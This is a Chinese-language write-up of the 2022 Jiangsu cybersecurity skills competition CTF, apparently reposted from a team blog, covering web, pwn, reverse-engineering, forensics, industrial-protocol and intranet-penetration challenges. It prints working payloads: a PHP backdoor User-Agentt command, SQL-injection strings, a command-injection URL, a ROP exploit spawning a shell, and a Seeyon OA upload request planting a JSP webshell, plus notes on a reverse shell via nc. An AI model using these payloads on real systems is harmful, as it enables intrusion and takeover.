2022年江苏省网络空间安全职业技能竞赛writeup
2022-12-23 17:39:9 Author: Eightbit(查看原文) 阅读量:16 收藏

请求环境发现直接是有php版本提示,搜索发现存在cve漏洞

利用cve直接获取flag User-Agentt: zerodiumsystem("cat /flag.txt");

flag{ETDPG6KPJRSXHHPM}

flag{ETDPG6KPJRSXHHPM}

  1. 1||extractvalue(1,concat(%27~%27,database(),%27~%27))--+ //flag_db

  2. 1||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7E))# article,flag_tb

  3. 1||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag_tb")),0x7E))# id,isflag id,title,date,content

  4. 1||extractvalue(1,concat(0x7e,(select(group_concat(isflag))from(flag_tb)),0x7E))# /fffffll1laa4agggg.php

添加token出flag

双引号解析漏洞

  1. this_is_not_backdoor.php?have_a_try="${`nl%20/*>1`}";

访问1得到flag

jwt爆破弱口令,伪造jwt管理员

  1. import jwt

  2. key = "Alone"

  3. encoded = jwt.encode({"username": "admin", "administrator": True, "flag": "None"}, key, algorithm="HS256")

  4. print(encoded)

查看保护

Ida分析程序

存在溢出

搜不到libc,发现有int 0x80,考察系统调用

Exp

  1. #coding=utf-8

  2. from pwn import*

  3. from LibcSearcher import*

  4. context(arch = 'i386', os = 'linux', log_level = 'DEBUG')

  5. if args['REMOTE']:

  6. p = remote('10.15.5.106',80)

  7. else:

  8. p = process('./1671598869170')

  9. elf = ELF('1671598869170')

  10. int_80 = 0x8049247

  11. pop_eax = 0x08049249

  12. pop_edx_ecx_ebx = 0x0804924b

  13. read_addr = 0x80490c0

  14. rw = 0x804c060

  15. payload = 'a'*0x8c + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(rw) + p32(0x8)

  16. payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(rw) + p32(int_80)

  17. p.sendline(payload)

  18. p.sendline('/bin/sh\0')

  19. p.interactive()

利用工具掩码攻击爆破出密码

修改png文件头

改宽,然后lsb隐写存在flag

直接strings搜出flag

base64隐写,凯撒位移

网上搜个脚本

发现rsa加密,分解n然后生成密钥

解密出明文后用mp3隐写工具解密即可密码要栏杆解密2栏。

Ida分析题目

直接调试获取k

  1. Exp

  2. k = [0xcc,0x27,0x11,0x14,0x5f,0xca,0x04,0xfd,0xcc,0x36,0xe,0xdb,0xb3,0x05,0x7c,0xd9,0x13,0x67,0x51,0x8c,0x80,0xb2]

  3. str1 = [0xAA,0x4B,0x70,0x73,0x24,0x9E,0x6C,0xCC,0xBF,0x69,0x3F,0xA8,0xEC,0x40,0x1D,0xAA,0x6A,0x38,0x03,0xCF,0xB4,0xCF]

  4. flag = ''

  5. for i in range(22):

  6. flag += chr(k[i] ^ str1[i])

  7. print(flag)

该流量包中涉及到的工控协议主要为s7comm协议,主要分析了一下写入数据(write var),通过流量分析得到172.16.1.100为上位机,其中有一个写入的数据块为zM30=,遂推测为base64编码的一部分:

继续跟踪172.16.1.100的前两个包,得到三部分base64编码:

拼接后通过base64解码得到:synt{zntvp333}

推测其被凯撒加密了,通过密码机器工具进行解码,得到flag:

Flag为:flag{magic333}

根据题目提示,异常停止,应该是有异常数据写入到了特殊的块中,从而引发异常停止。

首先筛选出Modbus协议;接着在Modbus数据包中寻找write single coil,观察发现192.168.3.130不断向192.168.3.164发出写入请求,因此推断192.168.3.130为上位机。继续分析数据包,筛选modbus.func_code == 0x05,发现了第281帧,上位机发出请求,向data=0000 写入了 0x05信号,导致单线圈关闭。尝试提交,得到flag{281}。

入口1:致远OA

通过fscan扫描

发现一个致远OA

http://10.15.6.38/

通过文件上传漏洞。上传蚁剑一句话,密码为[email protected]

  1. POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/test1.jsp&fileId=2 HTTP/1.1

  2. Host: 10.15.6.38

  3. Content-Length: 1145

  4. Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b

  5. Accept-Encoding: gzip

  6. --59229605f98b8cf290a7b8908b34616b

  7. Content-Disposition: form-data; name="upload"; filename="test.txt"

  8. Content-Type: application/vnd.ms-excel

  9. <%!

  10. class U extends ClassLoader {

  11. U(ClassLoader c) {

  12. super(c);

  13. }

  14. public Class g(byte[] b) {

  15. return super.defineClass(b, 0, b.length);

  16. }

  17. }

  18. public byte[] base64Decode(String str) throws Exception {

  19. try {

  20. Class clazz = Class.forName("sun.misc.BASE64Decoder");

  21. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

  22. } catch (Exception e) {

  23. Class clazz = Class.forName("java.util.Base64");

  24. Object decoder = clazz.getMethod("getDecoder").invoke(null);

  25. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

  26. }

  27. }

  28. %>

  29. <%

  30. String cls = request.getParameter("[email protected]");

  31. if (cls != null) {

  32. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

  33. }

  34. %>

  35. --59229605f98b8cf290a7b8908b34616b--

Shell地址为http://10.15.6.38/test1.jsp,密码[email protected]

进入后发现是个低权限

后续通过烂土豆webshell版本进行提权,修改administrator密码

同时webshell刚传入的时候发现有3389,直接3389连接

在桌面发现flag.txt

入口2:Jpress

找到admin登录口

http://10.15.6.248/admin/login

测试出弱口令

admin/[email protected]

在github官方的issues中,找到历史漏洞

通过将nc上传到上面拿到的windows机器中,直接反弹shell到win上

接着访问

http://10.15.6.248/article/1,触发反弹shell

得到flag

Eightbit 致力于寻找一群热爱技术、热爱分享的大佬师傅们,组建一个简单的圈子。简单到在这个的圈子里大家没有任何利益,没有任何冲突,大家只有一个简单的夙愿,就是在一起交流交流技术,交流交流想法,一起开心的吹吹水就好。我们交流的内容主要在网络安全方向,包括但不限于web安全、内网渗透、免杀、逆向分析、二进制分析、移动逆向分析、安全竞赛等。不论你是大佬、还是一个憧憬进入网络安全圈子的新秀,大家在技术面前都是平等的,我们都可以一切交流学习。有想法的师傅们可以加入我们的交流群一起交流哦~


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MTA3MjMxNA==&mid=2247487423&idx=1&sn=244987d5edafc19e1e148042d447a884&chksm=cfd3b5eaf8a43cfcf72f2571f14eef54c77465fc4a7fef9648eb651cdc0ef8896b1be8d01c92#rd
如有侵权请联系:admin#unsafe.sh